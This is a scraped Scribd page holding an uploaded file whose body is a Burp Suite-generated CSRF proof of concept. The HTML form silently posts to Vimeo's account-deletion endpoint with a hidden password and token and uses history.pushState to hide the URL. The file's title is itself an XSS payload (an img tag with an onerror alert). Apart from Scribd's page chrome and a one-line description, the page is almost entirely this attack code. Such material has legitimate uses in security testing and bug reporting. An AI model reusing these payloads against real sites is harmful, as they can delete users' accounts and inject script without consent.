Scribd Logo
Upload

Welcome to Scribd!

  • "

    Uploaded by

    deeepmarketer
    7 views1 page
    A web page contains a form that submits a POST request to a Vimeo account settings URL. The form contains hidden password and token inputs to potentially access the account settings without user interaction or consent. The page uses JavaScript to change the browser history state to obscure the true URL.

    Original Description:

    ">.txt

    Original Title

    "><img src=x onerror=alert(document.domain)>.txt

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    A web page contains a form that submits a POST request to a Vimeo account settings URL. The form contains hidden password and token inputs to potentially access the account settings without user interaction or consent. The page uses JavaScript to change the browser history state to obscure the true URL.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    7 views1 page

    "

    Uploaded by

    deeepmarketer
    A web page contains a form that submits a POST request to a Vimeo account settings URL. The form contains hidden password and token inputs to potentially access the account settings without user interaction or consent. The page uses JavaScript to change the browser history state to obscure the true URL.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    of 1

    <html>

    <!-- CSRF PoC - generated by Burp Suite Professional -->


    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://vimeo.com/settings/goodbye/forever" method="POST">
    <input type="hidden" name="password" value="Aswin&#64;12" />
    <input type="hidden" name="token"
    value="f83c6f5fba33d138b649e9e9f9a402f0db7350d1&#46;hzis25tc6t&#46;1667394139" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>

    You might also like